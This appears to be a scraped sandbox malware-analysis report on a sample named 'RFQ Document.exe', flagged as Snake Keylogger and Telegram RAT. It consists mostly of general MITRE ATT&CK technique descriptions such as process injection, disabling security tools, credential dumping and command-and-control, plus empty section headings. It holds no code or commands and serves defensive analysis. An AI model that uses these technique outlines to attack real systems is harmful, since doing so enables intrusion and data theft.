Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report RFQ Document.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Snake Keylogger

Threatname: Telegram RAT

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre